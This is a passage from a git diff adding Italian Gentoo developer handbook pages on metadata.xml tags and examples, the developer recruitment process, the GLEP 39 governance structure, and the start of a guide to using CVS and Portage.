+    documentazione è disponibile in più di una lingua, può essere usato un
+    attributo lang che segue le stesse regole di longdescription.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;bugs-to&gt;</brite></ti>
+  <ti>
+    Dovrebbe contenere un luogo dove possono essere inseriti, un URL o indirizzo
+    e-mail preceduto da mailto:.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;remote-id&gt;</brite></ti>
+  <ti>
+    Dovrebbe specificare un tipo di indicatore di tracciamento del pacchetto e
+    l'identificazione che corrisponde al pacchetto in questione. remote-id
+    dovrebbe facilifare l'indicizzazione di informazioni come il proprio ID
+    Freshmeat o nome CPAN.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;pkg&gt;</brite></ti>
+  <ti>
+    Questo tag contiene un nome valido di pacchetto nel formato usato per
+    DEPEND.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;cat&gt;</brite></ti>
+  <ti>
+    Questo tag contiene un nome valido di categoria come definito in
+    <path>profiles/categories</path>.
+  </ti>
+</tr>
+</table>
+
+<p>
+Ci sono anche degli attributi che possono essere usati con questi tag. Sono
+tutti opzionali:
+</p>
+
+<table>
+<tr>
+  <th>attributo</th>
+  <th>tag</th>
+  <th>descrizione</th>
+</tr>
+<tr>
+  <ti>lang</ti>
+  <ti>
+    <brite>&lt;description&gt;</brite>,<brite>&lt;longdescription&gt;</brite>,
+    <brite>&lt;use&gt;</brite>, <brite>&lt;doc&gt;</brite>
+  </ti>
+  <ti>
+    In ogni caso in cui sia richiesta una descrizione, ci deve essere
+    <e>almeno</e> una descrizione in inglese. Se viene fornita una descrizione
+    aggiuntiva in un'altra lingua, questo attributo viene utilizzato per
+    specificare la lingua utilizzata. Il formato è quello di un codice a due
+    caratteri in base alla lingua, come definito nella norma <uri
+    link="http://www.w3.org/WAI/ER/IG/ert/iso639.htm#2letter">ISO-639-1</uri>.
+  </ti>
+</tr>
+<tr>
+  <ti>restrict</ti>
+  <ti>
+    <brite>&lt;herd&gt;</brite>, <brite>&lt;maintainer&gt;</brite>,
+    <brite>&lt;longdescription&gt;</brite>,   <brite>&lt;flag&gt;</brite>
+  </ti>
+  <ti>
+    L'attributo restrict permette di limitare l'applicazione di alcuni tag a
+    determinate versioni del pacchetto. Quando questo attributo è utilizzato,
+    deve esistere anche un tag senza questo attributo. Il tag senza l'attributo
+    restrict verrà utilizzato come predefinito. Il formato dell'attributo
+    restrict è quello della flag DEPEND, eccetto che per "&lt;" e per "&gt;"
+    che devono essere specificati da &amp;lt; e &amp;gt;.<br />
+    <br/>
+    Ad esempio, nel pacchetto <c>sys-libs/db</c>,
+    <c>restrict="&gt;=sys-libs/db-3.2.9-r5"</c> nel tag
+    <brite>maintainer</brite> mostra che si stanno attualmente mantenendo tutte
+    le versioni maggiori della 3.2.9-r5.
+  </ti>
+</tr>
+<tr>
+  <ti>name</ti>
+  <ti><brite>&lt;flag&gt;</brite></ti>
+  <ti>
+    Questo attributo è richiesto sul tag <brite>&lt;flag&gt;</brite>. Contiene
+    semplicemente la flag USE.
+    <br /><br />
+    Per esempio, nel pacchetto <c>sys-apps/hal</c>, <c>&lt;flag
+    name='acpi'&gt; Enables ACPI&lt;/flag&gt;</c>
+  </ti>
+</tr>
+<tr>
+  <ti>status</ti>
+  <ti><brite>&lt;maintainer&gt;</brite></ti>
+  <ti>
+    L'elemento upstream maintainer ha un attributo status, che può essere active
+    ("attivo", NdT) o inactive ("inattivo", NdT). Questo attributo non è
+    obbligatorio. La sua assenza può essere interpretata come informazione
+    sconosciuta. Notare bene: Questo attributo è permesso solamente
+    nell'elemento &lt;upstream&gt; &lt;maintainer&gt;!
+  </ti>
+</tr>
+<tr>
+  <ti>type</ti>
+  <ti><brite>&lt;remote-id&gt;</brite></ti>
+  <ti>
+    Una stringa di identificazione della sorgente "upstream". Una lista di
+    stringhe valide viene tenuta all'interno di metadata.dtd. Gli sviluppatori
+    dovrebbero inviare un'e-mail alla mailing list gentoo-dev prima di usare un
+    nuovo tipo di valore.
+  </ti>
+</tr>
+</table>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Esempi di Metadata</title>
+<subsection>
+<title>Primo Esempio</title>
+<body>
+
+<p>
+Nel primo esempio viene mostrato il <path>metadata.xml</path> di OpenOffice le
+cui ebuild sono completamente gestite da un gruppo chiamato <c>openoffice</c>:
+</p>
+
+<pre caption="Pacchetto mantenuto da un gruppo">
+&lt;?xml version='1.0' encoding='UTF-8'?&gt;
+&lt;!DOCTYPE pkgmetadata SYSTEM "/dtd/metadata.dtd"&gt;
+&lt;pkgmetadata&gt;
+  &lt;herd&gt;openoffice&lt;/herd&gt;
+  &lt;longdescription&gt;
+    OpenOffice is the  opensource version of staroffice.
+    This ebuild allows you to compile it yourself. Unfortunately this
+    compilation can take up to a day depending on the speed of your computer.
+    It will however make a snappier openoffice than the binary version.
+  &lt;/longdescription&gt;
+&lt;/pkgmetadata&gt;
+</pre>
+
+<p>
+Il gruppo <c>openoffice</c> è definito nel file <path>herds.xml</path> dal
+<uri link="/proj/en/metastructure">Gentoo Metastructure Project</uri>:
+</p>
+
+<note>
+Questo esempio potrà essere sorpassato quando verrà letto. E' solo un'esempio.
+</note>
+
+<pre caption="Esempio Gruppo OpenOffice">
+&lt;herd&gt;
+  &lt;name&gt;openoffice&lt;/name&gt;
+  &lt;email&gt;openoffice@gentoo.org&lt;/email&gt;
+  &lt;description&gt;Openoffice related packages&lt;/description&gt;
+  &lt;maintainer&gt;&lt;email&gt;pauldv@gentoo.org&lt;/email&gt;&lt;/maintainer&gt;
+  &lt;maintainer&gt;&lt;email&gt;suka@gentoo.org&lt;/email&gt;&lt;/maintainer&gt;
+&lt;/herd&gt;
+</pre>
+
+<p>
+Se ci si vuole aggiungere (o togliere) da un gruppo, modificare il file
+<path>herds.xml</path> che si trova in
+<path>[gentoo]/xml/htdocs/proj/en/metastructure/herds</path> nel repository
+CVS di Gentoo. Assicurarsi di conoscere l'alias e-mail corrispondente al gruppo
+(ad esempio il gruppo "sound" ha <mail
+link="sound@gentoo.org">sound@gentoo.org</mail>) e aggiungersi all'alias
+(modificando <path>/var/mail/alias/misc/&lt;nome alias&gt;</path> su
+dev.gentoo.org).
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Secondo Esempio</title>
+<body>
+
+<p>
+Per il secondo esempio, verrà esaminato il file <path>metadata.xml</path> di
+<c>app-portage/mirrorselect</c>. Questa ebuild è mantenuta dall'herd
+<c>tools-portage</c>, ma ha un mantenitore distinto.
+</p>
+
+<pre caption="Pacchetto appartenente ad un Gruppo ma con Mantenitore distinto">
+&lt;?xml version='1.0' encoding='UTF-8'?&gt;
+&lt;!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd"&gt;
+&lt;pkgmetadata&gt;
+  &lt;herd&gt;tools-portage&lt;/herd&gt;
+  &lt;maintainer&gt;
+    &lt;email&gt;johnm@gentoo.org&lt;/email&gt;
+    &lt;name&gt;John Mylchreest&lt;/name&gt;
+  &lt;/maintainer&gt;
+  &lt;longdescription&gt;
+    This utility is used to select the fastest mirror (distfiles) and provide a
+    nicer front-end for mirror selection (both rsync + distfiles) to a user.
+  &lt;/longdescription&gt;
+&lt;/pkgmetadata&gt;
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Terzo Esempio</title>
+<body>
+
+<p>
+Per il terzo esempio, verrà descritto il file <path>metadata.xml</path> di
+<c>sys-apps/hal</c>. Questa ebuild è mantenuta dall'herd <c>gentopia</c> e
+contiene le descrizione delle flag USE.
+</p>
+
+<pre caption="Descrizione flag USE">
+&lt;?xml version="1.0" encoding="UTF-8"&gt;
+&lt;!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd"&gt;
+&lt;pkgmetadata&gt;
+&lt;herd&gt;gentopia&lt;/herd&gt;
+&lt;maintainer&gt;
+     &lt;email&gt;compnerd@gentoo.org&lt;/email&gt;
+&lt;/maintainer&gt;
+&lt;maintainer&gt;
+     &lt;email&gt;steev@gentoo.org&lt;/email&gt;
+&lt;/maintainer&gt;
+&lt;use&gt;
+     &lt;flag name='acpi'&gt;Enables HAL to attempt to read from
+     /proc/acpi/event, if unavailable, HAL will read events from
+     &lt;pkg&gt;sys-power/acpid&lt;/pkg&gt;. If you need multiple acpi
+     readers, ensure acpid is in your default runlevel along with HAL. This
+     will also enable HAL to read Toshia and IBM acpi events which do not
+     get sent via /proc/acpi/event&lt;/flag&gt;
+     &lt;flag name='crypt'&gt;Allows HAL to mount volumes that are encrypted
+     using LUKS. &lt;pkg&gt;sys-fs/cryptsetup-luks&lt;/pkg&gt; which has
+     recently been renamed to &lt;pkg&gt;sys-fs/cryptsetup&lt;/pkg&gt; allows
+     you to create such encrypted volumes. HAL will be able to handle volumes
+     that are removable or fixed.&lt;/flag&gt;
+     &lt;flag name='dell'&gt;Builds an installs the Dell addon, which reads data
+     from the Dell SM BIOS via &lt;pkg&gt;sys-libs/libsmbios&lt;/pkg&gt;. It
+     will read your service tag information and your hardware backlight data as
+     well as allow you to modify the backlight settings on a Dell
+     laptop.&lt;/flag&gt;
+     &lt;flag name='disk-partition'&gt;Allows HAL to use libparted from
+     &lt;pkg&gt;sys-apps/parted&lt;/pkg&gt; to read raw partition data from your
+     disks and process that data. Future versions of HAL (possibly 0.5.11 and
+     higher) will allow you to create, modify, delete and format partitions from
+     a GUI interface agnostic of your desktop environment.&lt;/flag&gt;
+     &lt;flag name='doc'&gt;Generates documentation that describes HAL's fdi
+     format.&lt;/flag&gt;
+     &lt;flag name='pcmcia'&gt;Allows HAL to process PCMCIA/CardBus slot data
+     which includes inserts and removals and act on these events.&lt;/flag&gt;
+     &lt;flag name='selinux'&gt;Installs SELinux policies and links HAL to the
+     SELinux libraries.&lt;/flag&gt;
+&lt;/use&gt;
+&lt;/pkgmetadata&gt;
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Quarto Esempio</title>
+<body>
+
+<p>
+Questo esempio mostra l'uso dell'elemento upstream:
+</p>
+
+<pre caption="Descrizione per upstream">
+&lt;upstream&gt;
+        &lt;maintainer status="inactive"&gt;
+                &lt;name&gt;Foo Bar&lt;/name&gt;
+                &lt;email&gt;foo@bar.bar&lt;/email&gt;
+        &lt;/maintainer&gt;
+        &lt;maintainer status="active"&gt;
+                &lt;name&gt;Foo Gentoo&lt;/name&gt;
+                &lt;email&gt;foo@gentoo.org&lt;/email&gt;
+        &lt;/maintainer&gt;
+        &lt;changelog&gt;http://foo.bar/changelog.txt&lt;/changelog&gt;
+        &lt;doc lang="en"&gt;http://foo.bar/doc/index.html&lt;/doc&gt;
+        &lt;doc lang="de"&gt;http://foo.bar/doc/index.de.html&lt;/doc&gt;
+        &lt;bugs-to&gt;https://bugs.foo.bar&lt;/bugs-to&gt;
+        &lt;remote-id type="freshmeat"&gt;foobar&lt;/remote-id&gt;
+        &lt;remote-id type="sourceforge"&gt;foobar&lt;/remote-id&gt;
+&lt;/upstream&gt;
+</pre>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/it/devrel/handbook/hb-introduction-becoming-a-dev.xml b/xml/htdocs/proj/it/devrel/handbook/hb-introduction-becoming-a-dev.xml
new file mode 100644
index 00000000..939efaca
--- /dev/null
+++ b/xml/htdocs/proj/it/devrel/handbook/hb-introduction-becoming-a-dev.xml
@@ -0,0 +1,150 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/devrel/handbook/hb-introduction-becoming-a-dev.xml,v 1.7 2008/11/12 20:34:59 scen Exp $ -->
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- Suggestions >> plasmaroo@gentoo.org -->
+
+<sections>
+<version>1.0.2</version>
+<date>2006-09-05</date>
+
+<section>
+<title>Introduzione</title>
+<body>
+
+<p>
+Ci sono diversi modi, discussi in questa sezione, per diventare uno sviluppatore
+Gentoo. Ci sono pure diversi passi che le nuove "reclute" devono compiere prima
+di diventare sviluppatori ufficiali.
+</p>
+
+</body>
+</section>
+<section>
+<title>Aiutare</title>
+<body>
+
+<p>
+Prima di tutto, per poter richiedere di diventare uno sviluppatore si può sia
+proporsi per un posto vacante, o anche soltanto aiutare sia in veste di supporto
+utenti oppure registrato report sui bug - il vasto numero di gente che
+contribuisce a Gentoo viene notato e si cerca di premiarli dando loro la
+possibilità di diventare sviluppatori Gentoo. Gentoo ha diversi percorsi, ed il
+"Gentoo Developer Relations Recruitment Team" (Gruppo di Reclutamento e
+Coordinamento Sviluppatori) è sempre alla ricerca non soltanto di sviluppatori -
+autori di documentazione e mantenitori di infrastrutture sono allo stesso
+livello di importanza per permettere a questa distribuzione di funzionare al
+meglio.
+</p>
+
+<p>
+È opportuno verificare i posti vacanti per gli sviluppatori nella GMN, come pure
+nei topic del canale #gentoo-bugs su irc.freenode.net - se ci si sente
+all'altezza è possibile proporsi per uno di questi compiti, cercando di trovare
+un mentore disposto a fare da garante oppure contattando i <mail
+link="recruiters@gentoo.org">Reclutatori Gentoo</mail> dove sarà possibile
+trovarne uno. Non creare autonomamente bug "New developer", in quanto è compito
+del mentore effettuare questa operazione, e qualsiasi bug di questo tipo verrà
+chiuso.
+</p>
+
+</body>
+</section>
+<section>
+<title>Mentori</title>
+<body>
+
+<p>
+Ogni nuovo sviluppatore deve avere un mentore, ovvero uno sviluppatore Gentoo
+esistente con la responsabilità di guidare un nuovo sviluppatore e di dargli una
+mano dopo che quest'ultimo sarà passato attraverso il processo di reclutamento.
+</p>
+
+<p>
+Un mentore deve assistere il nuovo sviluppatore fornendogli aiuto e chiarimenti
+riguardo ad ogni quesito, come pure delineargli le sue responsabilità nei
+confronti di Gentoo, specialmente quelle in relazione ai suoi compiti iniziali.
+</p>
+
+<p>
+Una volta che sviluppatore e mentore si sono accordati, il mentore deve inserire
+un bug e assegnarlo ad un reclutatore Gentoo - la pagina <uri
+link="/proj/en/devrel/recruiters">Reclutatori Gentoo</uri> (in inglese) spiega
+in dettaglio le informazioni necessarie da inserire.
+</p>
+
+<note>
+I reclutatori di Gentoo si riservano i diritti di assegnare un altro mentore
+allo sviluppatore se il mentore non si occupa del nuovo sviluppatore oppure se
+non lo assiste durante tutto il resto dei processi.
+</note>
+
+</body>
+</section>
+<section>
+<title>Attesa</title>
+<body>
+
+<p>
+Ogni nuovo sviluppatore deve passare un periodo di attesa che dura almeno un
+mese, che dipende sia da quanto il mentore ritiene preparato lo sviluppatore sia
+dal feedback da parte di altri membri dello staff. Durante questo periodo, il
+nuovo sviluppatore deve completare un test che verrà controllato dal suo mentore
+ed dai Reclutatori Gentoo, per assicurarsi che lo sviluppatore sia "pronto". In
+alcuni casi speciali, il periodo di attesa è determinato dal capo dei
+Reclutatori Gentoo e/o da quello del Coordinamento Sviluppatori.
+</p>
+
+<p>
+Vengono proposti due test : il <uri
+link="/proj/en/devrel/quiz/ebuild-quiz.txt">test
+ebuild</uri>, e il <uri link="/proj/en/devrel/quiz/staff-quiz.txt">test
+staff</uri>. Gli sviluppatori che vogliono lavorare solamente
+sull'infrastruttura, GLSA o qualsiasi altra area non-ebuild devono fare il test
+staff, ogni sviluppatore che avrà bisogno di fare cambiamenti al Portage tree
+deve fare il test ebuild.
+</p>
+
+<p>
+Una volta che il nuovo sviluppatore ha completato il test, deve spedirlo al
+mentore che sarà responsabile di controllarlo assieme ai <uri
+link="/proj/en/devrel/recruiters">Reclutatori Gentoo</uri>. Se le risposte
+corrette del test sono sufficientemente adeguate allora il processo di
+reclutamento può proseguire. Altrimenti, il nuovo sviluppatore può rifare il
+test, sempre ammesso che venga terminato durante il periodo di attesa.
+</p>
+
+<p>
+In più, un nuovo sviluppatore deve essere reattivo a qualsiasi interrogazione
+posta da qualsiasi membro dei reclutatori - ogni sviluppatore che non risponde
+immediatamente vedrà chiuso il suo bug "New developer", che potrà essere
+riaperto a discrezione dei reclutatori Gentoo.
+</p>
+
+</body>
+</section>
+<section>
+<title>Raggiungere l'obiettivo</title>
+<body>
+
+<p>
+Dopo che il quiz verrà controllato e ritenuto sufficientemente adeguato dal
+mentore e dai reclutatori Gentoo, bisogna inviare loro una chiave pubblica SSH2
+DSA (esempio id_dsa.pub). Se i reclutatori riterranno che il test sia di un
+livello soddisfacente, abiliteranno i servizi necessari.
+</p>
+
+<p>
+A questo punto, lo sviluppatore entra in un periodo di prova di 30 giorni
+durante i quali il relativo mentore è responsabile delle sue azioni - inoltre i
+reclutatori Gentoo possono rifiutarlo come nuovo sviluppatore a loro completa
+discrezione.
+</p>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/it/devrel/handbook/hb-introduction-hierarchy.xml b/xml/htdocs/proj/it/devrel/handbook/hb-introduction-hierarchy.xml
new file mode 100644
index 00000000..61e28fc1
--- /dev/null
+++ b/xml/htdocs/proj/it/devrel/handbook/hb-introduction-hierarchy.xml
@@ -0,0 +1,241 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/devrel/handbook/hb-introduction-hierarchy.xml,v 1.3 2008/04/12 16:29:40 scen Exp $ -->
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<sections>
+<version>1.0.2</version>
+<date>2006-05-04</date>
+
+<section>
+<title>Introduzione</title>
+<body>
+
+<p>
+Questa sezione ha lo scopo di spiegare la gerarchia dello sviluppo di Gentoo
+e dare agli sviluppatori una visione su come sia strutturata la gestione dello
+sviluppo di Gento Linux.
+</p>
+
+</body>
+</section>
+<section>
+<title>Una breve storia della struttura di gestione di Gentoo</title>
+<body>
+
+<p>
+Il primo tentativo di una struttura di gestione per la risoluzione dei problemi
+relativi al coordinamento e alla comunicazione è stato fatto nel 2003 con la
+struttura descritta nel documento <uri
+link="http://www.gentoo.org/proj/en/glep/glep-0004.xml">GLEP 4</uri>. Con la
+crescita di Gentoo nel tempo, sono stati scoperti alcuni problemi con quella
+struttura di gestione, per cui era necessaria una nuova versione per risolvere
+questi inconvenienti. <uri
+link="http://www.gentoo.org/proj/en/glep/glep-0039.html">GLEP 39</uri> descrive
+entrambe le ragioni che stanno dietro a questa decisione così come il risultato
+della discussione.
+</p>
+
+</body>
+</section>
+<section>
+<title>Attuale struttura di gestione in base a GLEP 39</title>
+<body>
+
+<p>
+Un progetto è un gruppo di sviluppatori che lavorano per trovare una soluzione
+(o un gruppo di soluzioni).
+</p>
+
+<ul>
+  <li>
+    Un progetto esiste se ha una pagina web su <uri
+    link="http://www.gentoo.org/proj/en/">www.gentoo.org/proj/en/&lt;nome
+    progetto&gt; </uri> che viene mantenuta. ("Mantenuto" significa che le
+    informazioni nella pagina sono effettivamente corrette e non sono obsolete.)
+    Se la pagina web non è mantenuta, il progetto è da considerarsi morto.
+  </li>
+  <li>
+    Deve avere uno o più responsabili, scelti tra i membri del progetto. La
+    scelta deve essere fatta almeno una volta ogni dodici mesi, e può essere
+    fatta in ogni momento.
+  </li>
+  <li>
+    Può avere zero o più sotto progetti. Questi forniscono ulteriori strutture e
+    la loro pagina web è in quella del progetto.
+  </li>
+  <li>Non c'è bisogno di un progetto per ogni cosa (o per ognuno).</li>
+  <li>I progetti non devono essere per forza a lungo termine.</li>
+  <li>
+    Dei progetti potrebbero essere in conflitto con altri progetti. Ciò è
+    normale.
+  </li>
+  <li>
+    Qualsiasi sviluppatore può creare un progetto creando una nuova pagina
+    (o meglio, directory e pagina) in <path>gentoo/xml/htdocs/proj/en</path> e
+    annunciandolo nella mailing list gentoo-dev-announce.
+  </li>
+</ul>
+
+<p>
+I problemi globali saranno decisi da un Consiglio Gentoo eletto in precedenza.
+</p>
+
+<ul>
+  <li>
+    Verrà deciso un numero di membri di consiglio. (Per la prima elezione questo
+    numero è impostato a 7 per acclamazione.)
+  </li>
+  <li>
+    I membri del consiglio verranno scelti da un'elezione generale di tutti gli
+    sviluppatori una volta all'anno.
+  </li>
+  <li>Il consiglio deve tenere un incontro aperto almeno una volta al mese.</li>
+  <li>
+    Le decisioni del consiglio spettano alla maggioranza dei voti dei presenti
+    (o dei loro delegati).
+  </li>
+  <li>
+    Se un membro del consiglio (o il suo delegato) non è presente per più di due
+    incontri consecutivi, verrano marcati come 'slacker' (scansafatiche).
+  </li>
+  <li>
+    Se un membro del consiglio è stato marcato come scansafatiche e manca ad uno
+    qualsiasi dei successivi incontri (così come il suo delegato), perde la sua
+    posizione e viene tenuta una nuova elezione per rimpiazzare questa persona.
+    Il nuovo membro del consiglio eletto avrà un'elezione "ridotta" fino a
+    quando ci sarà l'annuale elezione che elegge il nuovo gruppo completo.
+  </li>
+  <li>
+    I membri del consiglio che sono già stati ripresi più volte per essere stati
+    scansafatiche possono essere esclusi per le elezioni future, incluse le
+    elezioni per il loro rimpiazzo. Devono comunque giustificare le proprie
+    assenze e devono aspettarsi che ciò venga fatto loro notare, se non lo
+    fanno di loro spontanea volontà.
+  </li>
+  <li>
+    Il titolo di 'slacker' (scansafatiche) viene rimosso quando un membro viene
+    eletto.
+  </li>
+  <li>
+    Se un incontro ha una partecipazione di membri del consiglio minore del 50%,
+    deve essere organizzata entro un mese una nuova elezione per tutti i posti.
+    L''anno' ripartirà da quel punto.
+  </li>
+  <li>Le azioni disciplinari possono anche essere decise dal consiglio.</li>
+  <li>
+    Un delegato non può essere un membro esistente del consiglio, ed una singola
+    persona non può essere delegata per più di un membro del consiglio ad ogni
+    singolo incontro.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Conseguenze della struttura gestionale di Gentoo</title>
+<body>
+
+<p>
+Conseguentemente alla nuova struttura di gestione, le decisioni globali vengono
+prese dal consiglio eletto. Questo dà a Gentoo una direzione generale -
+decisioni più piccole che influenzano soltanto un progetto o due e sono decise
+all'interno dei progetti coinvolti, probabilmente con l'input di altri
+sviluppatori. Il consiglio dovrebbe rappresentare equamente la base di
+sviluppatori poiché ogni sviluppatore ha il diritto  a votare, per questo motivo
+gli interessi devono essere rappresentati in modo giusto. Se il consiglio lavora
+male e la base degli sviluppatori non è contenta del suo operato, il consiglio
+può essere rivotato.
+</p>
+
+<p>
+Le decisioni all'interno di un progetto possono essere prese all'interno del
+progetto stesso, ovviamente il coordinamento tra i progetti è necessario. I
+capi dei (sotto)progetti sono generalmente responsabili di questo aspetto.
+</p>
+
+<p>
+La maggior parte dei progetti hanno un capo operativo e strategico, ma
+fondamentalmente sta al progetto decidere quali posizioni creare e la loro
+denominazione - ciò si applica anche ai sottoprogetti.
+</p>
+
+<p>
+Alcuni progetti nominano una persona di riferimento per le comunicazioni con
+altri progetti, per esempio uno sviluppatore all'interno del progetto del forum
+è responsabile per la comunicazione con il progetto dell'infrastruttura.
+</p>
+
+<p>
+Tutto sommato la struttura attuale non ha un chiaro elenco delle responsabilità
+che i capi dei progetti si presume debbano soddisfare. Essi sono scelti dai
+membri del progetto, la responsabilità pratica del capo è "qualsiasi cosa
+richiedano i membri", e se ciò non è rispettato, i membri possono scegliere un
+nuovo capo (se trovano qualcuno che si assuma l'incarico!).
+</p>
+
+</body>
+</section>
+
+<!-- FIXME TODO...
+
+<section>
+<title>Decision making</title>
+<body>
+<p>
+Currently, GLEPs (Gentoo Linux Enhancement Proposals) can be approved
+or rejected by the appropriate top-level manager under which the GLEP
+falls. If there is no clearly-defined manager under which the GLEP
+falls, the GLEP will be voted upon by the Managers and Chief
+Architect, and must be approved unanimously. In all cases, a public,
+written explanation must be provided detailing why the GLEP was
+approved or rejected, either by the manager who approved/rejected it,
+or the head of the GLEP sub-project (Grant Goodyear) if the GLEP was
+voted upon by the management team. This summary is meant to reflect
+the decision that was made by some of the managers at an early manager
+meeting.
+</p>
+
+<p>
+Currently, there is no formal general voting procedure in place. In
+the interim, any item to be voted upon must be approved by "votable"
+by the Chief Architect. Before voting takes place, all managers must
+have an opportunity to present their ideas before the other managers,
+with the general originator(s) of the idea having the opportunity to
+present first. After that, the Chief Architect and Managers can
+present their ideas, with the Chief Architect having the opportunity
+to present last. After this has happened, voting can take place, and
+the item will be approved on an unanimous vote. Managers or the Chief
+Architect can choose to abstain from voting, and the vote can still
+pass with abstainers as long as at least 50% of the members have
+voted. The voting must take place at an official managers
+meeting. Non-attending managers are allowed to vote via email. The
+vote must be officially tallied and posted to the managers list.
+</p>
+
+<p>
+The reason for the "Chief Architect approval" clause it to prevent the
+voting process from being abused by allowing voting items that make no
+sense, such as those that begin with a "Should we continue to," where
+a "nay" result would result in a change in existing policy, as well as
+preventing managers for requesting that every small decision be voted
+upon. We currently have no clear policy to determine what is a
+"votable" item, and without this policy there needs to be some method
+to determine what is "votable" and what affects some immutable part of
+Gentoo.
+</p>
+
+<p>
+This section is subject to additional clarification and refinement in
+the future, as is the rest of this document. The purpose of this
+section is to document our currently-existing procedures rather than
+define ideal or "final" procedures.
+</p>
+</body>
+</section>
+-->
+
+</sections>
diff --git a/xml/htdocs/proj/it/devrel/handbook/hb-introduction-new-devs.xml b/xml/htdocs/proj/it/devrel/handbook/hb-introduction-new-devs.xml
new file mode 100644
index 00000000..e848cec9
--- /dev/null
+++ b/xml/htdocs/proj/it/devrel/handbook/hb-introduction-new-devs.xml
@@ -0,0 +1,277 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/devrel/handbook/hb-introduction-new-devs.xml,v 1.10 2010/05/24 19:11:02 scen Exp $ -->
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<sections>
+<version>1.1</version>
+<date>2010-04-26</date>
+
+<section>
+<title>Utilizzo del CVS</title>
+<subsection>
+<title>Introduzione</title>
+<body>
+
+<p>
+Questa guida non vuole essere un manuale sull'utilizzo di CVS, per il quale è
+preferibile consultare la relativa pagina info oppure
+<uri>/doc/it/cvs-tutorial.xml</uri>. Invece essa si focalizza in modo specifico
+sull'uso di CVS e di Repoman nell'ebuild tree di Gentoo.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Configurazione</title>
+<body>
+
+<p>
+Tipicamente, nel proprio <path>~/.cvsrc</path> dovranno esserci delle
+voci simili a queste:
+</p>
+
+<pre caption="~/.cvsrc">
+cvs -q -z0
+diff -u -B
+checkout -P
+update -d -P
+</pre>
+
+<p>
+Infine, ad alcuni utilizzatori di CVS piace usare la compressione (-z#).
+Si chiede agli sviluppatori che non hanno una connessione dialup di usare -z0 -
+con il contenuto del repository CVS Gentoo ed il carico di lavoro sullo stesso,
+si noterà un effettivo <e>incremento</e> della velocità senza compressione.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Recuperare i moduli CVS/SVN</title>
+<body>
+
+<p>
+Ci sono alcuni moduli utili nel repository di CVS di Gentoo. Gli ebuild sono
+contenuti nel modulo <path>gentoo-x86</path>. <path>gentoo</path> contiene i
+file XML per il sito web, la documentazione, le cartelle e le immagini degli
+sviluppatori, e altro ancora. <path>gentoo-projects</path> contiene diversi
+progetti e generalmente rimpiazza il modulo cvs <path>gentoo-src</path>.
+<path>gentoo-src</path> viene mantetenuto per ragioni storiche, per cui se lo si
+sta ancora utilizzando si prega di migrare ad un modulo differente.
+</p>
+
+<pre caption="Recuperare gentoo-x86">
+# <i>cvs -d username@cvs.gentoo.org:/var/cvsroot co gentoo-x86</i>
+</pre>
+
+<p>
+Ogni volta, prima di lavorare nella struttura, è sempre una buona idea eseguire
+un'aggiornamento per controllare i cambiamenti e prevenire eventuali conflitti.
+È possibile aggiornare ogni singola sottocartella dell'albero nel caso non si
+voglia attendere l'aggiornamento completo, però ogni tanto è buona prassi
+aggiornare tutta la struttura:
+</p>
+
+<pre caption="Aggiornamento di gentoo-x86">
+# <i>cd gentoo-x86</i>
+# <i>cvs update</i>
+</pre>
+
+<p>
+Inoltre Gentoo offre servizi subversion per tutti coloro che preferiscono SVN
+rispetto a CVS. Diversi progetti fondamentali come <path>portage</path> e
+<path>baselayout</path> adesso sono ospitati lì.
+</p>
+
+<pre caption="Recuperare il modulo portage">
+# <i>svn co svn+ssh://username@cvs.gentoo.org/var/svnroot/portage</i>
+</pre>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Aggiornare Portage</title>
+<body>
+
+<p>
+Se si vuole usare CVS come albero primario per Portage, aggiungere le seguenti
+linee al proprio <path>/etc/make.conf</path>, rimpiazzando <c>you</c> con il
+proprio nome utente:
+</p>
+
+<pre caption="Cambiamenti al /etc/make.conf per usare CVS">
+SYNC="cvs://you@cvs.gentoo.org:/var/cvsroot"
+CVSROOT=":ext:you@cvs.gentoo.org:/var/cvsroot"
+</pre>
+
+<p>
+Sia che CVS venga utilizzato come albero primario di Portage, sia che non venga
+utilizzato, è importante che <c>cvs</c> sia incluso nella variabile
+<c>FEATURES</c> in <path>/etc/make.conf</path>. Ciò assicura che Portage
+scarichi tutti i file elencati in <c>SRC_URI</c> all'interno dell'ebuild nel
+momento in cui si effettua un digest.
+</p>
+
+<note>
+Siccome il checkout cvs non ha una cache dei metadati, il proprio portage
+potrebbe diventare veramente lento.
+</note>
+
+<p>
+Nelle architetture supportate, bisogna anche avere <c>sandbox</c> nella propria
+variabile <c>FEATURES</c> per assicurarsi che gli ebuild non modifichino
+direttamente il filesystem root.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Aggiungere/Rimuovere pacchetti</title>
+<body>
+
+<p>
